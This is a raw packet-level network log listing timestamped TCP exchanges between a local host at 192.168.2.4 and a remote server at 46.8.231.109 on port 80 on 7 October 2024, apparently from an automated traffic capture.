Oct 7, 2024 03:03:10.992265940 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992300987 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992314100 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992314100 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992337942 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992376089 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992378950 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992386103 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992413044 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992450953 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992465019 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992465019 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992485046 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992520094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992536068 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992536068 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992557049 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992595911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992609978 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992609978 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992630959 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992665052 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992665052 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992698908 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992702961 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992727041 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992738008 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992774010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992788076 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992788076 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992808104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992841005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992861986 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992861986 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992877007 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992906094 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992912054 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992949963 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992961884 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992961884 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992985010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.993019104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.993033886 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.993033886 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.993060112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.993093967 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.993118048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.993118048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.993134975 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.993170023 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.993185043 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.993185043 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.993206978 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.993226051 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.993241072 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.993274927 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.993274927 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.993300915 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.993310928 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.993345022 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.993352890 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.993352890 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.993381977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.993391991 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.993416071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.993452072 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.993465900 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.993465900 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.993488073 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.993518114 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.993555069 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.079720974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.079754114 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.079811096 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.079845905 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.079898119 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.079926968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.079936028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.079969883 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080004930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080027103 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080027103 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080060005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080074072 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080097914 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080121040 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080127954 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080163002 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080187082 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080187082 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080199957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080250025 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080250025 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080252886 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080288887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080324888 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080331087 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080331087 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080382109 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080410957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080436945 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080436945 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080446959 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080471039 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080482006 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080514908 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080579042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080615044 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080634117 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080634117 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080647945 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080676079 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080703974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080708027 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080738068 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080773115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080785036 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080785036 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080807924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080843925 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080859900 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080861092 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080893040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080926895 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080962896 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.080965042 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.080965042 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081013918 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081013918 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081018925 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081056118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081088066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081110001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081110001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081125021 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081166029 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081173897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081173897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081202030 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081235886 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081252098 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081252098 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081269979 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081304073 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081316948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081316948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081338882 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081372976 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081388950 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081388950 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081406116 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081455946 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081455946 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081461906 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081504107 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081538916 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081542969 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081554890 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081572056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081609964 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081629992 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081667900 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081692934 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081692934 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081701994 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081733942 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081743956 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081772089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081790924 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081790924 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081808090 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081829071 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081845045 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081877947 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081906080 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081906080 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081911087 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081947088 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.081967115 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081967115 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.081980944 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082015991 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082024097 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082051039 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082063913 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082063913 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082089901 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082103968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082149029 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082185030 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082211971 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082212925 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082218885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082250118 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082252979 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082287073 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082289934 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082324028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082344055 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082344055 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082359076 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082392931 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082400084 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082406998 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082447052 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082480907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082489014 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082503080 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082516909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082551003 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082568884 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082568884 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082613945 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082617044 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082668066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082689047 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082703114 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082736969 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082750082 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082750082 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082773924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082803965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082807064 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082849026 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082861900 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082861900 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082881927 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082905054 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082916975 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082952976 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.082969904 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082969904 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.082986116 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083022118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083039045 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083039045 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083055973 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083089113 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083108902 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083108902 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083127022 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083159924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083173990 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083173990 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083199024 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083209991 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083234072 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083271980 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083287954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083287954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083306074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083343029 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083348989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083376884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083410978 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083441019 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083448887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083483934 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083518982 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083535910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083535910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083551884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083576918 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083587885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083626032 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083641052 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083641052 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083659887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083694935 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083710909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083710909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083728075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083760977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083774090 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083774090 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083797932 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083806992 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083834887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083861113 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083868980 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.083916903 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.083916903 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.122145891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.122181892 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.122219086 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.122241020 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.122273922 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.122281075 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.122308016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.122342110 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.122343063 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.122368097 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.122380972 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.122421980 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.122421980 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.170260906 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.170295000 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.170347929 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.170384884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.170386076 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.170386076 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.170411110 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.170439005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.170465946 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.170476913 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.170525074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.170525074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.170532942 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.170569897 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.170617104 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.170617104 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.170623064 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.170677900 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.170679092 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.170711994 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.170752048 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.170761108 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.170761108 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.170806885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.170840979 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.170845985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.170876980 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.170885086 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.170885086 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.170928955 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.170965910 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.170968056 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171000957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171014071 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171014071 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171057940 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171072960 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171092987 CEST	80	49731	46.8.231.109	192.168.2.4
